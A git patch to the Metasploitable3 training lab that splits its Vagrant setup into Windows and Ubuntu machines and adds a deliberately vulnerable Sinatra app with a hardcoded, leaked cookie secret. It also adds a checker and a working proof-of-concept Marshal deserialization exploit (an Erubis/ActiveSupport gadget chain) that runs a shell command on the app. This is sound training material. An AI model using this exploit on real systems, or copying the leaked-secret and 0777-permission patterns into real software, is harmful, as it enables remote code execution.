From 92d0e1bc450253bf1257b446fcf92731ba1e08d1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 31 Mar 2017 17:15:04 -0500 Subject: [PATCH] Add Sinatra Leaked Secret Deserialization Vulnerability --- Vagrantfile | 181 ++++++------------ .../metasploitable/files/sinatra/Gemfile | 6 + .../metasploitable/files/sinatra/README.txt | 31 +++ .../metasploitable/files/sinatra/check.rb | 26 +++ .../metasploitable/files/sinatra/poc.rb | 34 ++++ .../metasploitable/files/sinatra/sinatra.sh | 21 ++ .../metasploitable/files/sinatra/start.rb | 26 +++ .../metasploitable/recipes/sinatra.rb | 51 +++++ 8 files changed, 256 insertions(+), 120 deletions(-) create mode 100644 chef/cookbooks/metasploitable/files/sinatra/Gemfile create mode 100644 chef/cookbooks/metasploitable/files/sinatra/README.txt create mode 100644 chef/cookbooks/metasploitable/files/sinatra/check.rb create mode 100644 chef/cookbooks/metasploitable/files/sinatra/poc.rb create mode 100644 chef/cookbooks/metasploitable/files/sinatra/sinatra.sh create mode 100644 chef/cookbooks/metasploitable/files/sinatra/start.rb create mode 100644 chef/cookbooks/metasploitable/recipes/sinatra.rb diff --git a/Vagrantfile b/Vagrantfile index fc66e97..d005d77 100644 --- a/Vagrantfile +++ b/Vagrantfile @@ -2,130 +2,71 @@ # vi: set ft=ruby : Vagrant.configure("2") do |config| - # Base configuration for the VM and provisioner - config.vm.box = "metasploitable3" - config.vm.hostname = "metasploitable3" - config.vm.communicator = "winrm" + config.vm.define "win2k8" do |win2k8| + # Base configuration for the VM and provisioner + win2k8.vm.box = "metasploitable3" + win2k8.vm.hostname = "metasploitable3" + win2k8.vm.communicator = "winrm" + win2k8.winrm.retry_limit = 60 + win2k8.winrm.retry_delay = 10 - config.vm.network "private_network", type: "dhcp" + win2k8.vm.network "private_network", type: "dhcp" - # Install Chocolatey - config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd" - config.vm.provision :reload # Hack to reset environment variables + # Configure Firewall to open up vulnerable services + case ENV['MS3_DIFFICULTY'] + when 'easy' + config.vm.provision :shell, path: "scripts/configs/disable_firewall.bat" + else + win2k8.vm.provision :shell, path: "scripts/configs/enable_firewall.bat" + win2k8.vm.provision :shell, path: "scripts/configs/configure_firewall.bat" + end - # Install BoxStarter - config.vm.provision :shell, path: "scripts/installs/install_boxstarter.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Install 7zip - config.vm.provision :shell, path: "scripts/chocolatey_installs/7zip.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Adjust password policy - config.vm.provision :shell, path: "scripts/configs/apply_password_settings.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Add users and add to groups - config.vm.provision :shell, path: "scripts/configs/create_users.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Unpatched IIS and FTP - config.vm.provision :shell, path: "scripts/installs/setup_iis.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/setup_ftp_site.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Setup for Apache Struts - config.vm.provision :shell, path: "scripts/chocolatey_installs/java.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/chocolatey_installs/tomcat.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :reload # Hack to reset environment variables - config.vm.provision :shell, path: "scripts/installs/setup_apache_struts.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Setup for Glassfish - config.vm.provision :shell, path: "scripts/installs/setup_glassfish.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/start_glassfish_service.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Jenkins (1.8) - config.vm.provision :shell, path: "scripts/installs/setup_jenkins.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Wordpress and phpMyAdmin - # This must run after the WAMP setup. - config.vm.provision :shell, path: "scripts/chocolatey_installs/vcredist2008.bat" # Visual Studio 2008 redistributable is a requirement for WAMP - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/install_wamp.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/start_wamp.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/install_wordpress.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - JMX - config.vm.provision :shell, path: "scripts/installs/install_openjdk6.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/setup_jmx.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Rails Server - config.vm.provision :shell, path: "scripts/installs/install_ruby.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/install_devkit.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/install_rails_server.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/setup_rails_server.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - config.vm.provision :shell, path: "scripts/installs/install_rails_service.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - WebDAV - # This must run after the WAMP setup. - config.vm.provision :shell, path: "scripts/installs/setup_webdav.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - MySQL - config.vm.provision :shell, path: "scripts/installs/setup_mysql.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - ManageEngine Desktop Central - config.vm.provision :shell, path: "scripts/installs/install_manageengine.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Axis2 - # This must run after the Apache Struts setup. - config.vm.provision :shell, path: "scripts/installs/setup_axis2.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - Common backdoors - config.vm.provision :shell, path: "scripts/installs/install_backdoors.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Vulnerability - SNMP - config.vm.provision :shell, path: "scripts/installs/setup_snmp.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 - - # Configure Firewall to open up vulnerable services - case ENV['MS3_DIFFICULTY'] - when 'easy' - config.vm.provision :shell, path: "scripts/configs/disable_firewall.bat" - else - config.vm.provision :shell, path: "scripts/configs/configure_firewall.bat" + # Insecure share from the Linux machine + win2k8.vm.provision :shell, path: "scripts/installs/install_share_autorun.bat" + win2k8.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 + win2k8.vm.provision :shell, path: "scripts/installs/setup_linux_share.bat" + win2k8.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 end - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 + config.vm.define "trusty" do |trusty| + trusty.vm.box = "rsginc/ubuntu64-14-04-1" + trusty.vm.hostname = "metasploitableUB" - # Vulnerability - ElasticSearch - # This must run after the firewall rules, because it needs to make some HTTP requests in order to - # set up the vulnerable state. - config.vm.provision :shell, path: "scripts/installs/install_elasticsearch.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614 + trusty.vm.network "private_network", ip: '172.28.128.3' - # Configure flags - config.vm.provision :shell, path: "scripts/installs/install_flags.bat" - config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614a -end + trusty.vm.provider "virtualbox" do |v| + v.name = "MetasploitableUB" + v.memory = 2048 + end + + config.omnibus.chef_version = :latest + + # Provision with Chef Solo + # + config.vm.provision :chef_solo do |chef| + chef.cookbooks_path = [ 'chef/cookbooks' ] + + chef.json = { 'metasploitable' => { + # Customizations here + } + } + + chef.add_recipe "metasploitable::mysql" + chef.add_recipe "metasploitable::apache_continuum" + chef.add_recipe "metasploitable::apache" + chef.add_recipe "metasploitable::php_545" + chef.add_recipe "metasploitable::phpmyadmin" + chef.add_recipe "metasploitable::proftpd" + chef.add_recipe "metasploitable::users" + chef.add_recipe "metasploitable::docker" + chef.add_recipe "metasploitable::samba" + chef.add_recipe "metasploitable::sinatra" + chef.add_recipe "metasploitable::unrealircd" + chef.add_recipe "metasploitable::chatbot" + chef.add_recipe "metasploitable::payroll_app" + chef.add_recipe "metasploitable::readme_app" + chef.add_recipe "metasploitable::cups" + chef.add_recipe "metasploitable::drupal" + end + end +end \ No newline at end of file diff --git a/chef/cookbooks/metasploitable/files/sinatra/Gemfile b/chef/cookbooks/metasploitable/files/sinatra/Gemfile new file mode 100644 index 0000000..d5ba5fc --- /dev/null +++ b/chef/cookbooks/metasploitable/files/sinatra/Gemfile @@ -0,0 +1,6 @@ +source 'https://rubygems.org' +gem 'rack', '1.6.5' +gem 'sinatra', '1.4.8' +gem 'erubis' +gem 'erubis' +gem 'activesupport' diff --git a/chef/cookbooks/metasploitable/files/sinatra/README.txt b/chef/cookbooks/metasploitable/files/sinatra/README.txt new file mode 100644 index 0000000..588c13c --- /dev/null +++ b/chef/cookbooks/metasploitable/files/sinatra/README.txt @@ -0,0 +1,31 @@ +============== +Description +============== + +This application is vulnerable to a deserialization vulnerability due to a +compromised session secret. + +Since this is a custom application, the Metasploitable player is required to +figure out what the secret is (remotely, not through code reading), and write +an exploit from scratch. + +For development purposes, you can use the following scripts to test the +vulnerable service: + +* check.rb - This will check if the application is vulnerable. +* poc.rb - This will attempt to exploit the application. It will create a + file named /tmp/your_id.txt + +============== +Usage +============== + +To start the vulnerable application, first do: + +$ bundle install + +And then finally: + +$ ruby start.rb + +The server should start on port 8080. diff --git a/chef/cookbooks/metasploitable/files/sinatra/check.rb b/chef/cookbooks/metasploitable/files/sinatra/check.rb new file mode 100644 index 0000000..4ba8474 --- /dev/null +++ b/chef/cookbooks/metasploitable/files/sinatra/check.rb @@ -0,0 +1,26 @@ +#!/usr/bin/env ruby + +# +# This will check our vulnerable app to see if it's vulnerable or not. +# It does so by predicting the hash in the cookie. +# + +require 'openssl' +require 'cgi' +require 'net/http' + +SECRET = "a7aebc287bba0ee4e64f947415a94e5f" + +cli = Net::HTTP.new('127.0.0.1', 8080) +req = Net::HTTP::Get.new('/') +res = cli.request(req) +cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || '' +data, hash = cookie.split('--') +puts "[*] Found hash: #{hash}" +puts "[*] Attempting to recreate the same hash with secret: #{SECRET}" +expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data)) +puts "[*] Predicted hash: #{expected_hash}" + +if expected_hash == hash + puts "[*] Yay! we can predict the hash. The server is vulnerable." +end diff --git a/chef/cookbooks/metasploitable/files/sinatra/poc.rb b/chef/cookbooks/metasploitable/files/sinatra/poc.rb new file mode 100644 index 0000000..1af717f --- /dev/null +++ b/chef/cookbooks/metasploitable/files/sinatra/poc.rb @@ -0,0 +1,34 @@ +#!/usr/bin/env ruby + +# +# This PoC will inject Ruby code in our vulnerable app. +# It will run the system command "id", and save the output in /tmp/your_id.txt +# + +require 'openssl' +require 'cgi' +require 'net/http' + +SECRET = "a7aebc287bba0ee4e64f947415a94e5f" + +module Erubis;class Eruby;end;end +module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end + +erubis = Erubis::Eruby.allocate +erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1" +proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate +proxy.instance_variable_set :@instance, erubis +proxy.instance_variable_set :@method, :result +proxy.instance_variable_set :@var, "@result" + +session = { 'session_id' => '', 'exploit' => proxy } + +dump = [ Marshal.dump(session) ].pack('m') +hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump) +cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}" + +http = Net::HTTP.new('127.0.0.1', 8080) +req = Net::HTTP::Get.new('/') +req['Cookie'] = cookie +res = http.request(req) +puts "Done" diff --git a/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh new file mode 100644 index 0000000..71de83a --- /dev/null +++ b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh @@ -0,0 +1,21 @@ +#! /bin/sh +### BEGIN INIT INFO +# Provides: sinatra +# Required-Start: $remote_fs $syslog +# Required-Stop: $remote_fs $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Sinatra +# Description: This file starts the sinatra service +# +### END INIT INFO + +case "$1" in + start) + /opt/sinatra/start.rb + ;; + *) + echo "Usage: start {start}" >&2 + exit 3 + ;; +esac diff --git a/chef/cookbooks/metasploitable/files/sinatra/start.rb b/chef/cookbooks/metasploitable/files/sinatra/start.rb new file mode 100644 index 0000000..f5cfe43 --- /dev/null +++ b/chef/cookbooks/metasploitable/files/sinatra/start.rb @@ -0,0 +1,26 @@ +#!/usr/bin/env ruby + +require 'sinatra' +require 'erubis' +require 'active_support' + +MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f' + +set :environment, :development +set :bind, '0.0.0.0' +set :port, 8080 + +use Rack::Session::Cookie, + :key => "_metasploitable", + :path => "/", + :expire_after => 1800, + :secret => MYSECRET + +get '/' do + val = "Shhhhh, don't tell anybody this cookie secret: #{MYSECRET}" + session['_metasploitable'] = val unless session['_metasploitable'] + body = "Welcome to Metasploitable3 - Linux edition.
" + body << "If you exploit this application, you will be handsomely rewarded." + [200, {}, body] +end + diff --git a/chef/cookbooks/metasploitable/recipes/sinatra.rb b/chef/cookbooks/metasploitable/recipes/sinatra.rb new file mode 100644 index 0000000..4bafebf --- /dev/null +++ b/chef/cookbooks/metasploitable/recipes/sinatra.rb @@ -0,0 +1,51 @@ +# +# Cookbook:: sinatra +# Recipe:: sinatra +# +# Copyright:: 2017, Rapid7, All Rights Reserved. +# +# + +include_recipe 'metasploitable::sinatra' + +apt_repository 'rvm' do + uri 'ppa:rael-gc/rvm' +end + +package 'rvm' + +bash 'run rvm.sh' do + code <<-EOH + source /etc/profile.d/rvm.sh + rvmsudo rvm install ruby-2.3.1 + rvm --default use 2.3.1 + gem install bundler + EOH +end + +directory '/opt/sinatra' do + mode '0777' +end + +['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.rb'].each do |fname| + cookbook_file "/opt/sinatra/#{fname}" do + source "sinatra/#{fname}" + mode '0777' + end +end + +bash 'bundle install sinatra' do + code <<-EOH + cd /opt/sinatra + bundle install + EOH +end + +cookbook_file '/etc/init.d/sinatra' do + source 'sinatra/sinatra.sh' + mode '0777' +end + +service 'sinatra' do + action [:enable, :start] +end